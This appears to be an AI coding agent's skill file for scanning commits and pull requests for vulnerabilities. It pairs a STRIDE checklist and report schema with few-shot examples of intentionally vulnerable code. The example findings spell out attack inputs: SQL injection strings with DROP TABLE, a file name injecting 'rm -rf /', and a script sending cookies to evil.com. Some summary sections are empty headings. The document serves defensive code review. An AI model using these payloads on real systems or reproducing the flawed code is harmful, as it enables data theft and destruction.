Commit Security Scan

Commit Security Scan

Analyze code changes (commits, PRs, diffs) using LLM-powered reasoning to detect security vulnerabilities. This skill reads code directly and applies patterns from the repository's threat model to identify issues across all STRIDE categories.

When to Use This Skill

• PR review - Automated security scan on pull requests
• Pre-commit check - Scan staged changes before committing
• Branch comparison - Review security of feature branch changes
• Code review assistance - Help reviewers spot security issues

Prerequisites

This skill requires:

1. Threat model - .factory/threat-model.md must exist 2. Security config - .factory/security-config.json for severity thresholds

IMPORTANT: If these files don't exist, you MUST generate them first before proceeding with the security scan.

To generate the prerequisites:

1. Tell the user: "The threat model doesn't exist yet. I'll generate it first before scanning." 2. Run the threat-model-generation skill to create both files 3. Once complete, continue with the security scan

Do NOT ask the user to run the skill manually - just do it automatically as part of this workflow.

Inputs

The skill determines what to scan from the user's request:

If no scope is specified, prompt the user for clarification.

Instructions

Follow these steps in order:

Step 1: Verify Prerequisites (Auto-Generate if Missing)

Try to read these files:

• .factory/threat-model.md
• .factory/security-config.json

If either file is missing or cannot be read:

1. Inform the user: "The security threat model doesn't exist yet. I'll generate it first - this may take a minute." 2. Invoke the threat-model-generation skill to analyze the repository and create both files 3. Once generation completes, continue with Step 2

This ensures the security scan always has the threat model context it needs for accurate analysis.

Step 2: Get Changed Files

Based on the user's request, get the list of changed files and their diffs using git:

• For PRs: use gh pr diff
• For commits/ranges: use git diff or git show
• For staged changes: use git diff --cached

Read the full content of each changed file for context.

Step 3: Load Threat Model

Read .factory/threat-model.md and .factory/security-config.json to understand:

• The system's architecture and trust boundaries
• Known vulnerability patterns for this codebase
• Severity thresholds for findings

Step 4: Analyze for Vulnerabilities

For each changed file, systematically check for STRIDE threats:

S - Spoofing Identity

• Missing or weak authentication checks
• Session handling vulnerabilities
• Token/credential exposure in code
• Insecure cookie settings

T - Tampering with Data

• SQL Injection: String concatenation/interpolation in SQL queries
• Command Injection: User input in shell commands, eval(), exec()
• XSS: Unescaped user input in HTML/templates
• Mass Assignment: Blind assignment from request to model
• Path Traversal: User input in file paths without validation

R - Repudiation

• Missing audit logging for sensitive operations
• Insufficient error logging
• Log injection vulnerabilities

I - Information Disclosure

• IDOR: Direct object access without ownership verification
• Verbose error messages exposing internals
• Hardcoded secrets, API keys, credentials
• Sensitive data in logs or responses
• Debug endpoints exposed

D - Denial of Service

• Missing rate limiting on endpoints
• Unbounded resource consumption (file uploads, queries)
• Algorithmic complexity attacks (regex, sorting)
• Missing pagination on list endpoints

E - Elevation of Privilege

• Missing authorization checks on endpoints
• Role/permission bypass opportunities
• Privilege escalation through parameter manipulation

Step 5: Assess Each Finding

For each potential vulnerability:

1. Trace data flow: Follow user input from source to sink

• Where does the input come from? (request params, body, headers, files)
• Does it pass through validation/sanitization?
• Where does it end up? (database, shell, response, file system)

2. Check for existing mitigations:

• Is there validation elsewhere in the codebase?
• Are there middleware/decorators that protect this code?
• Does the framework provide automatic protection?

3. Determine severity:

• CRITICAL: Remote code execution, auth bypass, data breach
• HIGH: SQL injection, XSS, IDOR, privilege escalation
• MEDIUM: Information disclosure, missing security headers
• LOW: Best practice violations, minor issues

4. Assess confidence:

• HIGH: Clear vulnerable pattern, direct data flow, no mitigations
• MEDIUM: Possible vulnerability, some uncertainty about context
• LOW: Suspicious pattern, likely has mitigations we can't see

Step 6: Generate Report

Create security-findings.json with this structure:

{
  "scan_id": "scan-YYYY-MM-DD-XXX",
  "scan_date": "<ISO 8601 timestamp>",
  "scan_type": "pr|commit|range|staged|working",
  "commit_range": "<base>..<head>",
  "pr_number": null,
  "threat_model_version": "<from security-config.json>",
  "findings": [
    {
      "id": "VULN-001",
      "severity": "HIGH",
      "stride_category": "Tampering",
      "vulnerability_type": "SQL Injection",
      "cwe": "CWE-89",
      "file": "src/api/users.py",
      "line_range": "45-49",
      "code_context": "<vulnerable code snippet>",
      "analysis": "<explanation of why this is vulnerable>",
      "exploit_scenario": "<how an attacker could exploit this>",
      "threat_model_reference": "Section 5.2 - SQL Injection",
      "existing_mitigations": [],
      "recommended_fix": "<how to fix the vulnerability>",
      "confidence": "HIGH",
      "reasoning": "<why this confidence level>"
    }
  ],
  "summary": {
    "total_findings": 0,
    "by_severity": { "CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0 },
    "by_stride": {
      "Spoofing": 0,
      "Tampering": 0,
      "Repudiation": 0,
      "InfoDisclosure": 0,
      "DoS": 0,
      "ElevationOfPrivilege": 0
    },
    "files_analyzed": 0
  }
}

Step 7: Report Results

1. Save findings to security-findings.json 2. Report summary to user (findings count by severity, triggered thresholds) 3. Check severity thresholds from security-config.json and note if any are triggered

CWE Reference

Common CWE mappings for findings:

Example Invocations

Scan a PR:

Scan PR #123 for security vulnerabilities

Scan staged changes before committing:

Scan my staged changes for security issues

Scan a feature branch:

Scan changes from main to feature/user-auth for vulnerabilities

Scan recent commits:

Scan the last 5 commits for security issues

References

• Analysis examples: analysis-examples.md (in this skill directory)
• Threat model: .factory/threat-model.md
• Security config: .factory/security-config.json
• OWASP Top 10
• CWE Top 25

Security Analysis Examples

This document provides few-shot examples for the LLM to learn how to analyze code for security vulnerabilities. Each example shows the input code, analysis process, and expected finding output.

---

Example 1: SQL Injection (HIGH - Tampering)

Input Code (Python)

# File: src/api/users.py, lines 45-52

def search_users(request):
    query = request.GET.get('q', '')
    sql = f"SELECT * FROM users WHERE name LIKE '%{query}%'"
    cursor = connection.cursor()
    cursor.execute(sql)
    return cursor.fetchall()

Analysis Process

1. Identify input source: query comes from request.GET.get('q') - user-controlled HTTP parameter 2. Trace data flow: query → f-string interpolation → sql → cursor.execute() 3. Check for sanitization: No validation, escaping, or parameterization 4. Check for mitigations: No ORM, no prepared statement, no input validation middleware 5. Determine exploitability: Direct SQL execution with user input = easily exploitable 6. Reference threat model: Section 5.2 - SQL Injection under Tampering

Generated Finding

{
  "id": "VULN-001",
  "severity": "HIGH",
  "stride_category": "Tampering",
  "vulnerability_type": "SQL Injection",
  "cwe": "CWE-89",
  "file": "src/api/users.py",
  "line_range": "45-52",
  "code_context": "sql = f\"SELECT * FROM users WHERE name LIKE '%{query}%'\"\ncursor.execute(sql)",
  "analysis": "User input from request.GET is directly interpolated into SQL query using f-string without any sanitization or parameterization. The query parameter is passed directly to cursor.execute().",
  "exploit_scenario": "Attacker submits q=test%' OR '1'='1 to bypass the LIKE filter and retrieve all users. More severe: q=test'; DROP TABLE users; -- to delete the users table.",
  "threat_model_reference": "Section 5.2 - SQL Injection (Tampering)",
  "existing_mitigations": [],
  "recommended_fix": "Use parameterized queries: cursor.execute(\"SELECT * FROM users WHERE name LIKE ?\", (f'%{query}%',)) or use Django ORM: User.objects.filter(name__icontains=query)",
  "confidence": "HIGH",
  "reasoning": "Direct string interpolation in SQL query with user-controlled input and no validation. Classic SQL injection pattern."
}

---

Example 2: IDOR - Insecure Direct Object Reference (HIGH - InfoDisclosure)

Input Code (JavaScript/Express)

// File: src/routes/documents.js, lines 23-30

router.get('/api/documents/:id', async (req, res) => {
  const documentId = req.params.id;
  const document = await Document.findById(documentId);

  if (!document) {
    return res.status(404).json({ error: 'Document not found' });
  }

  res.json(document);
});

Analysis Process

1. Identify input source: documentId comes from URL parameter :id - user-controlled 2. Trace data flow: req.params.id → documentId → Document.findById() 3. Check for authorization: No check that current user owns or has access to this document 4. Check for mitigations: No middleware visible, no ownership verification in query 5. Determine exploitability: Any authenticated user can access any document by ID 6. Reference threat model: Section 5.4 - IDOR under Information Disclosure

Generated Finding

{
  "id": "VULN-002",
  "severity": "HIGH",
  "stride_category": "InfoDisclosure",
  "vulnerability_type": "Insecure Direct Object Reference (IDOR)",
  "cwe": "CWE-639",
  "file": "src/routes/documents.js",
  "line_range": "23-30",
  "code_context": "const document = await Document.findById(documentId);\nres.json(document);",
  "analysis": "The endpoint retrieves a document by ID from the URL parameter without verifying that the authenticated user has permission to access it. Any user can access any document by guessing or enumerating document IDs.",
  "exploit_scenario": "User A creates a private document with ID 'abc123'. User B (or unauthenticated attacker) accesses GET /api/documents/abc123 and retrieves User A's private document.",
  "threat_model_reference": "Section 5.4 - IDOR (Information Disclosure)",
  "existing_mitigations": [],
  "recommended_fix": "Add ownership check: const document = await Document.findOne({ _id: documentId, userId: req.user.id }); or implement RBAC middleware that verifies access permissions.",
  "confidence": "HIGH",
  "reasoning": "No authorization check between fetching document and returning it. Direct object reference without ownership verification."
}

---

Example 3: Command Injection (CRITICAL - Tampering)

Input Code (Python)

# File: src/utils/image_processor.py, lines 15-20

def resize_image(filename, width, height):
    output_file = f"resized_{filename}"
    command = f"convert {filename} -resize {width}x{height} {output_file}"
    os.system(command)
    return output_file

Analysis Process

1. Identify input source: filename, width, height - potentially user-controlled 2. Trace data flow: Parameters → f-string → command → os.system() 3. Check for sanitization: No validation of filename or dimensions 4. Check for mitigations: Using os.system() with shell=True semantics 5. Determine exploitability: Shell metacharacters in filename = RCE 6. Reference threat model: Section 5.2 - Command Injection under Tampering

Generated Finding

{
  "id": "VULN-003",
  "severity": "CRITICAL",
  "stride_category": "Tampering",
  "vulnerability_type": "Command Injection",
  "cwe": "CWE-78",
  "file": "src/utils/image_processor.py",
  "line_range": "15-20",
  "code_context": "command = f\"convert {filename} -resize {width}x{height} {output_file}\"\nos.system(command)",
  "analysis": "User-controlled filename is directly interpolated into a shell command executed via os.system(). Shell metacharacters in the filename parameter can execute arbitrary commands on the server.",
  "exploit_scenario": "Attacker uploads file named 'image.jpg; rm -rf / #' or 'image.jpg$(whoami)'. The shell interprets the semicolon/backticks and executes the injected command with server privileges.",
  "threat_model_reference": "Section 5.2 - Command Injection (Tampering)",
  "existing_mitigations": [],
  "recommended_fix": "Use subprocess with list arguments (no shell): subprocess.run(['convert', filename, '-resize', f'{width}x{height}', output_file], check=True). Also validate filename contains only allowed characters.",
  "confidence": "HIGH",
  "reasoning": "os.system() with string interpolation is a textbook command injection pattern. No input validation visible."
}

---

Example 4: Missing Authorization Check (HIGH - ElevationOfPrivilege)

Input Code (TypeScript/Express)

// File: src/routes/admin.ts, lines 45-55

router.delete('/api/admin/users/:userId', async (req, res) => {
  const { userId } = req.params;

  await User.findByIdAndDelete(userId);

  res.json({ success: true, message: 'User deleted' });
});

Analysis Process

1. Identify endpoint purpose: Admin endpoint to delete users 2. Check for authentication: No requireAuth middleware visible 3. Check for authorization: No admin role check, no permission verification 4. Check for mitigations: Route path suggests admin-only, but no enforcement 5. Determine exploitability: Any user (or unauthenticated) can delete any user 6. Reference threat model: Section 5.6 - Missing Authorization under Elevation of Privilege

Generated Finding

{
  "id": "VULN-004",
  "severity": "HIGH",
  "stride_category": "ElevationOfPrivilege",
  "vulnerability_type": "Missing Authorization",
  "cwe": "CWE-862",
  "file": "src/routes/admin.ts",
  "line_range": "45-55",
  "code_context": "router.delete('/api/admin/users/:userId', async (req, res) => {\n  await User.findByIdAndDelete(userId);\n});",
  "analysis": "Admin endpoint for deleting users has no authentication or authorization middleware. The '/admin/' path prefix suggests privileged access, but no enforcement is implemented. Any user can delete any other user.",
  "exploit_scenario": "Unauthenticated attacker sends DELETE /api/admin/users/target-user-id to delete arbitrary user accounts, including admin accounts.",
  "threat_model_reference": "Section 5.6 - Missing Authorization (Elevation of Privilege)",
  "existing_mitigations": [],
  "recommended_fix": "Add authentication and admin authorization middleware: router.delete('/api/admin/users/:userId', requireAuth, requireAdmin, async (req, res) => { ... })",
  "confidence": "HIGH",
  "reasoning": "Admin endpoint with destructive action has no visible auth middleware. Path naming convention not enforced by code."
}

---

Example 5: XSS - Cross-Site Scripting (HIGH - Tampering)

Input Code (React/JSX)

// File: src/components/UserProfile.jsx, lines 12-20

function UserProfile({ user }) {
  return (
    <div className="profile">
      <h2>{user.name}</h2>
      <div className="bio" dangerouslySetInnerHTML={{ __html: user.bio }} />
    </div>
  );
}

Analysis Process

1. Identify input source: user.bio - user-provided content from database 2. Trace data flow: User input → database → user.bio → dangerouslySetInnerHTML 3. Check for sanitization: No sanitization before rendering 4. Check for mitigations: Using dangerouslySetInnerHTML bypasses React's XSS protection 5. Determine exploitability: Stored XSS - attacker stores malicious script in bio 6. Reference threat model: Section 5.2 - XSS under Tampering

Generated Finding

{
  "id": "VULN-005",
  "severity": "HIGH",
  "stride_category": "Tampering",
  "vulnerability_type": "Cross-Site Scripting (XSS) - Stored",
  "cwe": "CWE-79",
  "file": "src/components/UserProfile.jsx",
  "line_range": "12-20",
  "code_context": "dangerouslySetInnerHTML={{ __html: user.bio }}",
  "analysis": "User-provided bio content is rendered using dangerouslySetInnerHTML without sanitization. This bypasses React's built-in XSS protection and allows stored XSS attacks.",
  "exploit_scenario": "Attacker sets their bio to '<script>document.location=\"https://evil.com/steal?cookie=\"+document.cookie</script>'. When other users view the profile, the script executes and steals their session cookies.",
  "threat_model_reference": "Section 5.2 - XSS (Tampering)",
  "existing_mitigations": [],
  "recommended_fix": "Either: 1) Remove dangerouslySetInnerHTML and use {user.bio} for auto-escaping, or 2) Sanitize with DOMPurify: dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(user.bio) }}",
  "confidence": "HIGH",
  "reasoning": "dangerouslySetInnerHTML with user content is explicit XSS vulnerability. No sanitization library visible."
}

---

Example 6: Hardcoded Credentials (MEDIUM - InfoDisclosure)

Input Code (Python)

# File: src/config/database.py, lines 5-12

DATABASE_CONFIG = {
    'host': 'db.example.com',
    'port': 5432,
    'database': 'production',
    'user': 'admin',
    'password': 'SuperSecret123!'
}

Analysis Process

1. Identify the issue: Password hardcoded in source code 2. Assess exposure: Source code in version control = password exposed 3. Check for mitigations: Not using environment variables or secrets manager 4. Determine impact: Database credentials exposed, potential data breach 5. Reference threat model: Section 5.4 - Hardcoded Secrets under Information Disclosure

Generated Finding

{
  "id": "VULN-006",
  "severity": "MEDIUM",
  "stride_category": "InfoDisclosure",
  "vulnerability_type": "Hardcoded Credentials",
  "cwe": "CWE-798",
  "file": "src/config/database.py",
  "line_range": "5-12",
  "code_context": "'password': 'SuperSecret123!'",
  "analysis": "Database password is hardcoded in source code. This exposes credentials to anyone with repository access and persists in version control history even if later removed.",
  "exploit_scenario": "Attacker gains access to repository (insider, leaked repo, compromised developer machine) and obtains production database credentials. Can directly access and exfiltrate database contents.",
  "threat_model_reference": "Section 5.4 - Hardcoded Secrets (Information Disclosure)",
  "existing_mitigations": [],
  "recommended_fix": "Use environment variables: password=os.environ.get('DB_PASSWORD'). Store secrets in a secrets manager (AWS Secrets Manager, HashiCorp Vault) or .env file excluded from git.",
  "confidence": "HIGH",
  "reasoning": "Literal password string in configuration file. Clear secret exposure."
}

---

Example 7: False Positive - Safe Parameterized Query

Input Code (Python)

# File: src/api/products.py, lines 30-38

def get_products_by_category(category_id):
    query = "SELECT * FROM products WHERE category_id = %s AND active = TRUE"
    cursor = connection.cursor()
    cursor.execute(query, (category_id,))
    return cursor.fetchall()

Analysis Process

1. Identify pattern: SQL query with variable 2. Check query construction: Query string uses %s placeholder, not f-string 3. Check execution: cursor.execute(query, (category_id,)) - parameterized! 4. Verify safety: Parameter passed as tuple, database driver handles escaping 5. Conclusion: This is the SAFE pattern, not vulnerable

Result: NO FINDING

This code uses parameterized queries correctly. The %s is a placeholder that the database driver safely substitutes, not Python string formatting. This is the recommended fix pattern for SQL injection, not a vulnerability.

Do not generate a finding for this code.

---

Example 8: False Positive - Authorization in Middleware

Input Code (TypeScript)

// File: src/routes/documents.ts, lines 15-25

// Note: requireOwnership middleware defined in src/middleware/auth.ts
router.get(
  '/api/documents/:id',
  requireAuth,
  requireOwnership('document'),
  async (req, res) => {
    const document = await Document.findById(req.params.id);
    res.json(document);
  }
);

Analysis Process

1. Identify pattern: Direct object access by ID 2. Check for authorization: Two middleware functions applied 3. Analyze middleware: requireAuth checks authentication, requireOwnership checks ownership 4. Verify protection: Authorization is handled before handler executes 5. Conclusion: Protected by middleware, not vulnerable to IDOR

Result: NO FINDING

While the handler itself doesn't check ownership, the requireOwnership('document') middleware handles this. The authorization check exists, just in a different layer. This is a common and valid pattern.

Do not generate a finding for this code.

---

Summary: Key Indicators

Vulnerable Patterns to Flag

Safe Patterns to Ignore

Context Matters

Always consider:

1. Is there validation/sanitization earlier in the request pipeline? 2. Is there middleware that handles auth/authz? 3. Does the framework provide automatic protection? 4. Is the input actually user-controlled, or is it from a trusted source?